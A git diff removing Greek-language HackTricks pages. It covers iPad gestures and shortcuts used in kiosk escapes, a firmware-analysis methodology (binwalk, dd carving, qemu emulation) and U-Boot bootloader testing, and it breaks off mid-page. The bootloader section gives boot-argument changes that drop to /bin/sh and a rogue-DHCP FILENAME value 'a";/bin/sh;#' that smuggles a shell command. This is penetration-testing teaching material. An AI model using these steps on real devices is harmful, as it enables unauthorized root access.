-[http://swin.es/k/](http://swin.es/k/)\ -[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\ - -Δημιουργήστε έναν κοινό διάλογο χρησιμοποιώντας JavaScript και αποκτήστε πρόσβαση στον εξερευνητή αρχείων: `document.write('')` -Πηγή: https://medium.com/@Rend_/give-me-a-browser-ill-give-you-a-shell-de19811defa0 - -# iPad - -## Γεωμετρίες και κουμπιά - -- Σαρώστε προς τα πάνω με τέσσερα (ή πέντε) δάχτυλα / Διπλό πατήστε το κουμπί Home: Για να δείτε την προβολή πολλαπλών εργασιών και να αλλάξετε εφαρμογή - -- Σαρώστε από τη μία ή την άλλη πλευρά με τέσσερα ή πέντε δάχτυλα: Για να αλλάξετε στην επόμενη/προηγούμενη εφαρμογή - -- Συμπιέστε την οθόνη με πέντε δάχτυλα / Αγγίξτε το κουμπί Home / Σαρώστε προς τα πάνω με 1 δάχτυλο από το κάτω μέρος της οθόνης σε γρήγορη κίνηση προς τα πάνω: Για να αποκτήσετε πρόσβαση στην Αρχική οθόνη - -- Σαρώστε ένα δάχτυλο από το κάτω μέρος της οθόνης μόλις 1-2 ίντσες (αργά): Η βάση θα εμφανιστεί - -- Σαρώστε προς τα κάτω από την κορυφή της οθόνης με 1 δάχτυλο: Για να δείτε τις ειδοποιήσεις σας - -- Σαρώστε προς τα κάτω με 1 δάχτυλο στην επάνω δεξιά γωνία της οθόνης: Για να δείτε το κέντρο ελέγχου του iPad Pro - -- Σαρώστε 1 δάχτυλο από την αριστερή πλευρά της οθόνης 1-2 ίντσες: Για να δείτε την προβολή Σήμερα - -- Σαρώστε γρήγορα 1 δάχτυλο από το κέντρο της οθόνης προς τα δεξιά ή αριστερά: Για να αλλάξετε στην επόμενη/προηγούμενη εφαρμογή - -- Πατήστε και κρατήστε το κουμπί On/**Off**/Sleep στην επάνω δεξιά γωνία του **iPad +** Μετακινήστε το Slide to **power off** slider όλη τη διαδρομή προς τα δεξιά: Για να απενεργοποιήσετε - -- Πατήστε το κουμπί On/**Off**/Sleep στην επάνω δεξιά γωνία του **iPad και το κουμπί Home για μερικά δευτερόλεπτα**: Για να αναγκάσετε μια σκληρή απενεργοποίηση - -- Πατήστε το κουμπί On/**Off**/Sleep στην επάνω δεξιά γωνία του **iPad και το κουμπί Home γρήγορα**: Για να τραβήξετε ένα στιγμιότυπο οθόνης που θα εμφανιστεί στην κάτω αριστερή γωνία της οθόνης. Πατήστε και τα δύο κουμπιά ταυτόχρονα πολύ σύντομα, καθώς αν τα κρατήσετε για μερικά δευτερόλεπτα θα εκτελεστεί μια σκληρή απενεργοποίηση. - -## Συντομεύσεις - -Πρέπει να έχετε ένα πληκτρολόγιο iPad ή έναν προσαρμογέα USB πληκτρολογίου. Μόνο οι συντομεύσεις που θα μπορούσαν να βοηθήσουν στην έξοδο από την εφαρμογή θα εμφανιστούν εδώ. - -| Key | Name | -| --- | ------------ | -| ⌘ | Command | -| ⌥ | Option (Alt) | -| ⇧ | Shift | -| ↩ | Return | -| ⇥ | Tab | -| ^ | Control | -| ← | Αριστερό Βέλος | -| → | Δεξί Βέλος | -| ↑ | Άνω Βέλος | -| ↓ | Κάτω Βέλος | - -### Συντομεύσεις συστήματος - -Αυτές οι συντομεύσεις είναι για τις ρυθμίσεις οπτικών και ήχου, ανάλογα με τη χρήση του iPad. - -| Συντόμευση | Ενέργεια | -| ----------- | -------------------------------------------------------------------------------- | -| F1 | Σβήσιμο οθόνης | -| F2 | Φωτεινότητα οθόνης | -| F7 | Πίσω ένα τραγούδι | -| F8 | Αναπαραγωγή/παύση | -| F9 | Παράλειψη τραγουδιού | -| F10 | Σίγαση | -| F11 | Μείωση έντασης | -| F12 | Αύξηση έντασης | -| ⌘ Space | Εμφάνιση λίστας διαθέσιμων γλωσσών; για να επιλέξετε μία, πατήστε ξανά το πλήκτρο διαστήματος. | - -### Πλοήγηση iPad - -| Συντόμευση | Ενέργεια | -| ---------------------------------------------------- | --------------------------------------------------------- | -| ⌘H | Μετάβαση στην Αρχική οθόνη | -| ⌘⇧H (Command-Shift-H) | Μετάβαση στην Αρχική οθόνη | -| ⌘ (Space) | Άνοιγμα Spotlight | -| ⌘⇥ (Command-Tab) | Λίστα των τελευταίων δέκα χρησιμοποιημένων εφαρμογών | -| ⌘\~ | Μετάβαση στην τελευταία εφαρμογή | -| ⌘⇧3 (Command-Shift-3) | Στιγμιότυπο οθόνης (εμφανίζεται στην κάτω αριστερή γωνία για αποθήκευση ή ενέργεια) | -| ⌘⇧4 | Στιγμιότυπο οθόνης και άνοιγμα του στην επεξεργασία | -| Πατήστε και κρατήστε ⌘ | Λίστα συντομεύσεων διαθέσιμων για την εφαρμογή | -| ⌘⌥D (Command-Option/Alt-D) | Εμφάνιση της βάσης | -| ^⌥H (Control-Option-H) | Κουμπί Home | -| ^⌥H H (Control-Option-H-H) | Εμφάνιση της γραμμής πολλαπλών εργασιών | -| ^⌥I (Control-Option-i) | Επιλογέας στοιχείων | -| Escape | Κουμπί πίσω | -| → (Δεξί βέλος) | Επόμενο στοιχείο | -| ← (Αριστερό βέλος) | Προηγούμενο στοιχείο | -| ↑↓ (Άνω βέλος, Κάτω βέλος) | Πατήστε ταυτόχρονα το επιλεγμένο στοιχείο | -| ⌥ ↓ (Option-Κάτω βέλος) | Κύλιση προς τα κάτω | -| ⌥↑ (Option-Άνω βέλος) | Κύλιση προς τα πάνω | -| ⌥← ή ⌥→ (Option-Αριστερό βέλος ή Option-Δεξί βέλος) | Κύλιση αριστερά ή δεξιά | -| ^⌥S (Control-Option-S) | Ενεργοποίηση ή απενεργοποίηση της ομιλίας VoiceOver | -| ⌘⇧⇥ (Command-Shift-Tab) | Εναλλαγή στην προηγούμενη εφαρμογή | -| ⌘⇥ (Command-Tab) | Επιστροφή στην αρχική εφαρμογή | -| ←+→, στη συνέχεια Option + ← ή Option+→ | Πλοήγηση μέσω της Βάσης | - -### Συντομεύσεις Safari - -| Συντόμευση | Ενέργεια | -| ------------------------- | -------------------------------------------------- | -| ⌘L (Command-L) | Άνοιγμα Τοποθεσίας | -| ⌘T | Άνοιγμα νέας καρτέλας | -| ⌘W | Κλείσιμο της τρέχουσας καρτέλας | -| ⌘R | Ανανεώστε την τρέχουσα καρτέλα | -| ⌘. | Σταματήστε τη φόρτωση της τρέχουσας καρτέλας | -| ^⇥ | Εναλλαγή στην επόμενη καρτέλα | -| ^⇧⇥ (Control-Shift-Tab) | Μετακίνηση στην προηγούμενη καρτέλα | -| ⌘L | Επιλογή του πεδίου εισόδου κειμένου/URL για τροποποίηση | -| ⌘⇧T (Command-Shift-T) | Άνοιγμα της τελευταίας κλειστής καρτέλας (μπορεί να χρησιμοποιηθεί πολλές φορές) | -| ⌘\[ | Πηγαίνετε πίσω μία σελίδα στην ιστορία περιήγησης | -| ⌘] | Πηγαίνετε μπροστά μία σελίδα στην ιστορία περιήγησης | -| ⌘⇧R | Ενεργοποίηση Λειτουργίας Αναγνωστή | - -### Συντομεύσεις Mail - -| Συντόμευση | Ενέργεια | -| ---------------------------- | ------------------------------ | -| ⌘L | Άνοιγμα Τοποθεσίας | -| ⌘T | Άνοιγμα νέας καρτέλας | -| ⌘W | Κλείσιμο της τρέχουσας καρτέλας| -| ⌘R | Ανανεώστε την τρέχουσα καρτέλα| -| ⌘. | Σταματήστε τη φόρτωση της τρέχουσας καρτέλας | -| ⌘⌥F (Command-Option/Alt-F) | Αναζήτηση στο γραμματοκιβώτιό σας | - -# Αναφορές - -- [https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html](https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html) -- [https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html](https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html) -- [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/) -- [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/physical-attacks/firmware-analysis/README.md b/src/physical-attacks/firmware-analysis/README.md deleted file mode 100644 index 3301e7cab..000000000 --- a/src/physical-attacks/firmware-analysis/README.md +++ /dev/null @@ -1,240 +0,0 @@ -# Ανάλυση Firmware - -{{#include ../../banners/hacktricks-training.md}} - -## **Εισαγωγή** - -Το firmware είναι το απαραίτητο λογισμικό που επιτρέπει στις συσκευές να λειτουργούν σωστά, διαχειριζόμενο και διευκολύνοντας την επικοινωνία μεταξύ των υλικών στοιχείων και του λογισμικού με το οποίο αλληλεπιδρούν οι χρήστες. Αποθηκεύεται σε μόνιμη μνήμη, διασφαλίζοντας ότι η συσκευή μπορεί να έχει πρόσβαση σε ζωτικής σημασίας οδηγίες από τη στιγμή που ενεργοποιείται, οδηγώντας στην εκκίνηση του λειτουργικού συστήματος. Η εξέταση και η πιθανή τροποποίηση του firmware είναι ένα κρίσιμο βήμα για την αναγνώριση ευπαθειών ασφαλείας. - -## **Συλλογή Πληροφοριών** - -**Η συλλογή πληροφοριών** είναι ένα κρίσιμο αρχικό βήμα για την κατανόηση της σύνθεσης μιας συσκευής και των τεχνολογιών που χρησιμοποιεί. Αυτή η διαδικασία περιλαμβάνει τη συλλογή δεδομένων σχετικά με: - -- Την αρχιτεκτονική CPU και το λειτουργικό σύστημα που εκτελεί -- Λεπτομέρειες bootloader -- Διάταξη υλικού και φύλλα δεδομένων -- Μετρήσεις κώδικα και τοποθεσίες πηγής -- Εξωτερικές βιβλιοθήκες και τύπους αδειών -- Ιστορικά ενημερώσεων και ρυθμιστικές πιστοποιήσεις -- Αρχιτεκτονικά και ροές διαγράμματα -- Αξιολογήσεις ασφαλείας και αναγνωρισμένες ευπάθειες - -Για αυτό το σκοπό, τα εργαλεία **open-source intelligence (OSINT)** είναι ανεκτίμητα, όπως και η ανάλυση οποιωνδήποτε διαθέσιμων ανοιχτών λογισμικών στοιχείων μέσω χειροκίνητων και αυτοματοποιημένων διαδικασιών αναθεώρησης. Εργαλεία όπως το [Coverity Scan](https://scan.coverity.com) και το [Semmle’s LGTM](https://lgtm.com/#explore) προσφέρουν δωρεάν στατική ανάλυση που μπορεί να αξιοποιηθεί για την εύρεση πιθανών προβλημάτων. - -## **Απόκτηση του Firmware** - -Η απόκτηση του firmware μπορεί να προσεγγιστεί μέσω διαφόρων μέσων, καθένα με το δικό του επίπεδο πολυπλοκότητας: - -- **Άμεσα** από την πηγή (προγραμματιστές, κατασκευαστές) -- **Κατασκευάζοντας** το από τις παρεχόμενες οδηγίες -- **Κατεβάζοντας** από επίσημες ιστοσελίδες υποστήριξης -- Χρησιμοποιώντας **Google dork** ερωτήματα για την εύρεση φιλοξενούμενων αρχείων firmware -- Πρόσβαση σε **cloud storage** απευθείας, με εργαλεία όπως το [S3Scanner](https://github.com/sa7mon/S3Scanner) -- Παρεμβολή **ενημερώσεων** μέσω τεχνικών man-in-the-middle -- **Εξαγωγή** από τη συσκευή μέσω συνδέσεων όπως **UART**, **JTAG**, ή **PICit** -- **Sniffing** για αιτήματα ενημερώσεων εντός της επικοινωνίας της συσκευής -- Αναγνώριση και χρήση **σκληρά κωδικοποιημένων σημείων ενημέρωσης** -- **Dumping** από τον bootloader ή το δίκτυο -- **Αφαίρεση και ανάγνωση** του τσιπ αποθήκευσης, όταν όλα τα άλλα αποτύχουν, χρησιμοποιώντας κατάλληλα εργαλεία υλικού - -## Ανάλυση του firmware - -Τώρα που **έχετε το firmware**, πρέπει να εξαγάγετε πληροφορίες σχετικά με αυτό για να ξέρετε πώς να το χειριστείτε. Διάφορα εργαλεία που μπορείτε να χρησιμοποιήσετε για αυτό: -```bash -file -strings -n8 -strings -tx #print offsets in hex -hexdump -C -n 512 > hexdump.out -hexdump -C | head # might find signatures in header -fdisk -lu #lists a drives partition and filesystems if multiple -``` -Αν δεν βρείτε πολλά με αυτά τα εργαλεία, ελέγξτε την **εντροπία** της εικόνας με το `binwalk -E `. Αν η εντροπία είναι χαμηλή, τότε είναι απίθανο να είναι κρυπτογραφημένη. Αν η εντροπία είναι υψηλή, είναι πιθανό να είναι κρυπτογραφημένη (ή συμπιεσμένη με κάποιον τρόπο). - -Επιπλέον, μπορείτε να χρησιμοποιήσετε αυτά τα εργαλεία για να εξαγάγετε **αρχεία που είναι ενσωματωμένα μέσα στο firmware**: - -{{#ref}} -../../forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md -{{#endref}} - -Ή [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) για να επιθεωρήσετε το αρχείο. - -### Λήψη του Συστήματος Αρχείων - -Με τα προηγούμενα εργαλεία όπως το `binwalk -ev `, θα έπρεπε να έχετε μπορέσει να **εξαγάγετε το σύστημα αρχείων**.\ -Το Binwalk συνήθως το εξάγει μέσα σε ένα **φάκελο που ονομάζεται όπως ο τύπος του συστήματος αρχείων**, ο οποίος συνήθως είναι ένας από τους εξής: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs. - -#### Χειροκίνητη Εξαγωγή Συστήματος Αρχείων - -Μερικές φορές, το binwalk δεν θα **έχει το μαγικό byte του συστήματος αρχείων στις υπογραφές του**. Σε αυτές τις περιπτώσεις, χρησιμοποιήστε το binwalk για να **βρείτε την απόσταση του συστήματος αρχείων και να carve το συμπιεσμένο σύστημα αρχείων** από το δυαδικό και **να εξαγάγετε χειροκίνητα** το σύστημα αρχείων σύμφωνα με τον τύπο του χρησιμοποιώντας τα παρακάτω βήματα. -``` -$ binwalk DIR850L_REVB.bin - -DECIMAL HEXADECIMAL DESCRIPTION ------------------------------------------------------------------------------ --- - -0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1"""" -10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes -1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes -1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41 -``` -Εκτελέστε την παρακάτω **εντολή dd** για να αποσπάσετε το σύστημα αρχείων Squashfs. -``` -$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs - -8257536+0 records in - -8257536+0 records out - -8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s -``` -Εναλλακτικά, η παρακάτω εντολή θα μπορούσε επίσης να εκτελεστεί. - -`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs` - -- Για squashfs (χρησιμοποιούμενο στο παραπάνω παράδειγμα) - -`$ unsquashfs dir.squashfs` - -Τα αρχεία θα βρίσκονται στον φάκελο "`squashfs-root`" μετά. - -- Αρχεία αρχείου CPIO - -`$ cpio -ivd --no-absolute-filenames -F ` - -- Για συστήματα αρχείων jffs2 - -`$ jefferson rootfsfile.jffs2` - -- Για συστήματα αρχείων ubifs με NAND flash - -`$ ubireader_extract_images -u UBI -s ` - -`$ ubidump.py ` - -## Ανάλυση Firmware - -Μόλις αποκτηθεί το firmware, είναι απαραίτητο να το αναλύσουμε για να κατανοήσουμε τη δομή του και τις πιθανές ευπάθειες. Αυτή η διαδικασία περιλαμβάνει τη χρήση διαφόρων εργαλείων για την ανάλυση και την εξαγωγή πολύτιμων δεδομένων από την εικόνα του firmware. - -### Εργαλεία Αρχικής Ανάλυσης - -Ένα σύνολο εντολών παρέχεται για την αρχική επιθεώρηση του δυαδικού αρχείου (αναφερόμενο ως ``). Αυτές οι εντολές βοηθούν στην αναγνώριση τύπων αρχείων, στην εξαγωγή συμβολοσειρών, στην ανάλυση δυαδικών δεδομένων και στην κατανόηση των λεπτομερειών του διαμερίσματος και του συστήματος αρχείων: -```bash -file -strings -n8 -strings -tx #prints offsets in hexadecimal -hexdump -C -n 512 > hexdump.out -hexdump -C | head #useful for finding signatures in the header -fdisk -lu #lists partitions and filesystems, if there are multiple -``` -Για να αξιολογηθεί η κατάσταση κρυπτογράφησης της εικόνας, ελέγχεται η **εντροπία** με το `binwalk -E `. Χαμηλή εντροπία υποδηλώνει έλλειψη κρυπτογράφησης, ενώ υψηλή εντροπία υποδεικνύει πιθανή κρυπτογράφηση ή συμπίεση. - -Για την εξαγωγή **ενσωματωμένων αρχείων**, προτείνονται εργαλεία και πόροι όπως η τεκμηρίωση **file-data-carving-recovery-tools** και το **binvis.io** για επιθεώρηση αρχείων. - -### Εξαγωγή του Συστήματος Αρχείων - -Χρησιμοποιώντας το `binwalk -ev `, μπορεί κανείς συνήθως να εξάγει το σύστημα αρχείων, συχνά σε έναν φάκελο που ονομάζεται σύμφωνα με τον τύπο του συστήματος αρχείων (π.χ., squashfs, ubifs). Ωστόσο, όταν το **binwalk** αποτυγχάνει να αναγνωρίσει τον τύπο του συστήματος αρχείων λόγω απουσίας μαγικών byte, είναι απαραίτητη η χειροκίνητη εξαγωγή. Αυτό περιλαμβάνει τη χρήση του `binwalk` για τον εντοπισμό της μετατόπισης του συστήματος αρχείων, ακολουθούμενη από την εντολή `dd` για την εξαγωγή του συστήματος αρχείων: -```bash -$ binwalk DIR850L_REVB.bin - -$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs -``` -Μετά, ανάλογα με τον τύπο του συστήματος αρχείων (π.χ., squashfs, cpio, jffs2, ubifs), χρησιμοποιούνται διαφορετικές εντολές για την χειροκίνητη εξαγωγή των περιεχομένων. - -### Ανάλυση Συστήματος Αρχείων - -Με το σύστημα αρχείων εξαγμένο, η αναζήτηση για αδυναμίες ασφαλείας αρχίζει. Δίνεται προσοχή σε ανασφαλείς δικτυακούς δαίμονες, σκληρά κωδικοποιημένα διαπιστευτήρια, API endpoints, λειτουργίες ενημέρωσης διακομιστών, μη μεταγλωττισμένο κώδικα, σενάρια εκκίνησης και μεταγλωττισμένα δυαδικά για ανάλυση εκτός σύνδεσης. - -**Κύριες τοποθεσίες** και **αντικείμενα** προς επιθεώρηση περιλαμβάνουν: - -- **etc/shadow** και **etc/passwd** για διαπιστευτήρια χρηστών -- Πιστοποιητικά SSL και κλειδιά στο **etc/ssl** -- Αρχεία ρυθμίσεων και σεναρίων για πιθανές ευπάθειες -- Ενσωματωμένα δυαδικά για περαιτέρω ανάλυση -- Κοινές διαδικτυακές υπηρεσίες και δυαδικά IoT συσκευών - -Πολλά εργαλεία βοηθούν στην αποκάλυψη ευαίσθητων πληροφοριών και ευπαθειών εντός του συστήματος αρχείων: - -- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) και [**Firmwalker**](https://github.com/craigz28/firmwalker) για αναζήτηση ευαίσθητων πληροφοριών -- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) για ολοκληρωμένη ανάλυση firmware -- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), και [**EMBA**](https://github.com/e-m-b-a/emba) για στατική και δυναμική ανάλυση - -### Έλεγχοι Ασφαλείας σε Μεταγλωττισμένα Δυαδικά - -Τόσο ο πηγαίος κώδικας όσο και τα μεταγλωττισμένα δυαδικά που βρίσκονται στο σύστημα αρχείων πρέπει να εξετάζονται για ευπάθειες. Εργαλεία όπως το **checksec.sh** για δυαδικά Unix και το **PESecurity** για δυαδικά Windows βοηθούν στην αναγνώριση μη προστατευμένων δυαδικών που θα μπορούσαν να εκμεταλλευτούν. - -## Προσομοίωση Firmware για Δυναμική Ανάλυση - -Η διαδικασία προσομοίωσης firmware επιτρέπει τη **δυναμική ανάλυση** είτε της λειτουργίας μιας συσκευής είτε ενός μεμονωμένου προγράμματος. Αυτή η προσέγγιση μπορεί να συναντήσει προκλήσεις με εξαρτήσεις υλικού ή αρχιτεκτονικής, αλλά η μεταφορά του ριζικού συστήματος αρχείων ή συγκεκριμένων δυαδικών σε μια συσκευή με αντίστοιχη αρχιτεκτονική και εντοπισμό, όπως ένα Raspberry Pi, ή σε μια προ-κατασκευασμένη εικονική μηχανή, μπορεί να διευκολύνει περαιτέρω δοκιμές. - -### Προσομοίωση Μεμονωμένων Δυαδικών - -Για την εξέταση μεμονωμένων προγραμμάτων, η αναγνώριση του εντοπισμού και της αρχιτεκτονικής CPU του προγράμματος είναι κρίσιμη. - -#### Παράδειγμα με Αρχιτεκτονική MIPS - -Για να προσομοιωθεί ένα δυαδικό αρχιτεκτονικής MIPS, μπορεί κανείς να χρησιμοποιήσει την εντολή: -```bash -file ./squashfs-root/bin/busybox -``` -Και για να εγκαταστήσετε τα απαραίτητα εργαλεία προσομοίωσης: -```bash -sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils -``` -Για MIPS (big-endian), χρησιμοποιείται το `qemu-mips`, και για little-endian δυαδικά, η επιλογή είναι το `qemu-mipsel`. - -#### Προσομοίωση Αρχιτεκτονικής ARM - -Για τα δυαδικά ARM, η διαδικασία είναι παρόμοια, με τον προσομοιωτή `qemu-arm` να χρησιμοποιείται για την προσομοίωση. - -### Πλήρης Προσομοίωση Συστήματος - -Εργαλεία όπως το [Firmadyne](https://github.com/firmadyne/firmadyne), το [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit), και άλλα, διευκολύνουν την πλήρη προσομοίωση firmware, αυτοματοποιώντας τη διαδικασία και βοηθώντας στην δυναμική ανάλυση. - -## Δυναμική Ανάλυση στην Πράξη - -Σε αυτό το στάδιο, χρησιμοποιείται είτε ένα πραγματικό είτε ένα προσομοιωμένο περιβάλλον συσκευής για ανάλυση. Είναι απαραίτητο να διατηρείται η πρόσβαση στο shell του λειτουργικού συστήματος και στο σύστημα αρχείων. Η προσομοίωση μπορεί να μην μιμείται τέλεια τις αλληλεπιδράσεις υλικού, απαιτώντας περιστασιακές επανεκκινήσεις προσομοίωσης. Η ανάλυση θα πρέπει να επανεξετάσει το σύστημα αρχείων, να εκμεταλλευτεί τις εκτεθειμένες ιστοσελίδες και υπηρεσίες δικτύου, και να εξερευνήσει τις ευπάθειες του bootloader. Οι δοκιμές ακεραιότητας firmware είναι κρίσιμες για την αναγνώριση πιθανών ευπαθειών backdoor. - -## Τεχνικές Ανάλυσης σε Χρόνο Εκτέλεσης - -Η ανάλυση σε χρόνο εκτέλεσης περιλαμβάνει την αλληλεπίδραση με μια διαδικασία ή δυαδικό στο λειτουργικό του περιβάλλον, χρησιμοποιώντας εργαλεία όπως το gdb-multiarch, το Frida και το Ghidra για τη ρύθμιση σημείων διακοπής και την αναγνώριση ευπαθειών μέσω fuzzing και άλλων τεχνικών. - -## Εκμετάλλευση Δυαδικών και Απόδειξη της Έννοιας - -Η ανάπτυξη ενός PoC για αναγνωρισμένες ευπάθειες απαιτεί βαθιά κατανόηση της αρχιτεκτονικής στόχου και προγραμματισμό σε γλώσσες χαμηλού επιπέδου. Οι προστασίες σε χρόνο εκτέλεσης δυαδικών σε ενσωματωμένα συστήματα είναι σπάνιες, αλλά όταν υπάρχουν, τεχνικές όπως το Return Oriented Programming (ROP) μπορεί να είναι απαραίτητες. - -## Προετοιμασμένα Λειτουργικά Συστήματα για Ανάλυση Firmware - -Λειτουργικά συστήματα όπως το [AttifyOS](https://github.com/adi0x90/attifyos) και το [EmbedOS](https://github.com/scriptingxss/EmbedOS) παρέχουν προ-ρυθμισμένα περιβάλλοντα για δοκιμές ασφάλειας firmware, εξοπλισμένα με τα απαραίτητα εργαλεία. - -## Προετοιμασμένα Λειτουργικά Συστήματα για Ανάλυση Firmware - -- [**AttifyOS**](https://github.com/adi0x90/attifyos): Το AttifyOS είναι μια διανομή που προορίζεται να σας βοηθήσει να εκτελέσετε αξιολόγηση ασφάλειας και δοκιμές διείσδυσης συσκευών Internet of Things (IoT). Σας εξοικονομεί πολύ χρόνο παρέχοντας ένα προ-ρυθμισμένο περιβάλλον με όλα τα απαραίτητα εργαλεία φορτωμένα. -- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Λειτουργικό σύστημα δοκιμών ασφάλειας ενσωματωμένων συστημάτων βασισμένο στο Ubuntu 18.04 με προφορτωμένα εργαλεία δοκιμών ασφάλειας firmware. - -## Ευάλωτο firmware για πρακτική - -Για να εξασκηθείτε στην ανακάλυψη ευπαθειών σε firmware, χρησιμοποιήστε τα παρακάτω ευάλωτα έργα firmware ως σημείο εκκίνησης. - -- OWASP IoTGoat -- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat) -- Το Damn Vulnerable Router Firmware Project -- [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF) -- Damn Vulnerable ARM Router (DVAR) -- [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html) -- ARM-X -- [https://github.com/therealsaumil/armx#downloads](https://github.com/therealsaumil/armx#downloads) -- Azeria Labs VM 2.0 -- [https://azeria-labs.com/lab-vm-2-0/](https://azeria-labs.com/lab-vm-2-0/) -- Damn Vulnerable IoT Device (DVID) -- [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID) - -## Αναφορές - -- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/) -- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904) - -## Εκπαίδευση και Πιστοποίηση - -- [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/physical-attacks/firmware-analysis/bootloader-testing.md b/src/physical-attacks/firmware-analysis/bootloader-testing.md deleted file mode 100644 index 74b57f610..000000000 --- a/src/physical-attacks/firmware-analysis/bootloader-testing.md +++ /dev/null @@ -1,52 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -Τα παρακάτω βήματα συνιστώνται για την τροποποίηση των ρυθμίσεων εκκίνησης συσκευών και των bootloaders όπως το U-boot: - -1. **Πρόσβαση στο Shell του Interpreter του Bootloader**: - -- Κατά την εκκίνηση, πατήστε "0", space ή άλλους αναγνωρισμένους "μαγικούς κωδικούς" για να αποκτήσετε πρόσβαση στο shell του interpreter του bootloader. - -2. **Τροποποίηση Boot Arguments**: - -- Εκτελέστε τις παρακάτω εντολές για να προσθέσετε '`init=/bin/sh`' στα boot arguments, επιτρέποντας την εκτέλεση μιας εντολής shell: -%%% -#printenv -#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash: rootfstype= hasEeprom=0 5srst=0 init=/bin/sh -#saveenv -#boot -%%% - -3. **Ρύθμιση TFTP Server**: - -- Ρυθμίστε έναν TFTP server για να φορτώσετε εικόνες μέσω τοπικού δικτύου: -%%% -#setenv ipaddr 192.168.2.2 #τοπική IP της συσκευής -#setenv serverip 192.168.2.1 #IP του TFTP server -#saveenv -#reset -#ping 192.168.2.1 #έλεγχος πρόσβασης στο δίκτυο -#tftp ${loadaddr} uImage-3.6.35 #loadaddr παίρνει τη διεύθυνση για να φορτώσει το αρχείο και το όνομα του αρχείου στην TFTP server -%%% - -4. **Χρήση του `ubootwrite.py`**: - -- Χρησιμοποιήστε το `ubootwrite.py` για να γράψετε την εικόνα U-boot και να σπρώξετε ένα τροποποιημένο firmware για να αποκτήσετε πρόσβαση root. - -5. **Έλεγχος Λειτουργιών Debug**: - -- Επαληθεύστε αν οι λειτουργίες debug όπως η λεπτομερής καταγραφή, η φόρτωση αυθαίρετων πυρήνων ή η εκκίνηση από μη αξιόπιστες πηγές είναι ενεργοποιημένες. - -6. **Προσοχή σε Υλικοτεχνικές Παρεμβολές**: - -- Να είστε προσεκτικοί όταν συνδέετε ένα ακίδα στο έδαφος και αλληλεπιδράτε με τσιπ SPI ή NAND flash κατά τη διάρκεια της διαδικασίας εκκίνησης της συσκευής, ιδιαίτερα πριν αποσυμπιεστεί ο πυρήνας. Συμβουλευτείτε το datasheet του τσιπ NAND flash πριν βραχυκυκλώσετε ακίδες. - -7. **Ρύθμιση Rogue DHCP Server**: -- Ρυθμίστε έναν rogue DHCP server με κακόβουλες παραμέτρους για να τις καταναλώσει η συσκευή κατά την εκκίνηση PXE. Χρησιμοποιήστε εργαλεία όπως το DHCP auxiliary server του Metasploit (MSF). Τροποποιήστε την παράμετρο 'FILENAME' με εντολές injection όπως `'a";/bin/sh;#'` για να δοκιμάσετε την επικύρωση εισόδου για τις διαδικασίες εκκίνησης της συσκευής. - -**Σημείωση**: Τα βήματα που περιλαμβάνουν φυσική αλληλεπίδραση με τις ακίδες της συσκευής (\*σημειωμένα με αστερίσκους) θα πρέπει να προσεγγίζονται με εξαιρετική προσοχή για να αποφευχθεί η ζημιά στη συσκευή. - -## Αναφορές - -- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/physical-attacks/firmware-analysis/firmware-integrity.md b/src/physical-attacks/firmware-analysis/firmware-integrity.md deleted file mode 100644 index 7a9f08155..000000000 --- a/src/physical-attacks/firmware-analysis/firmware-integrity.md +++ /dev/null @@ -1,35 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -## Ακεραιότητα Firmware - -Το **προσαρμοσμένο firmware και/ή οι μεταγλωττισμένες δυαδικές μπορεί να 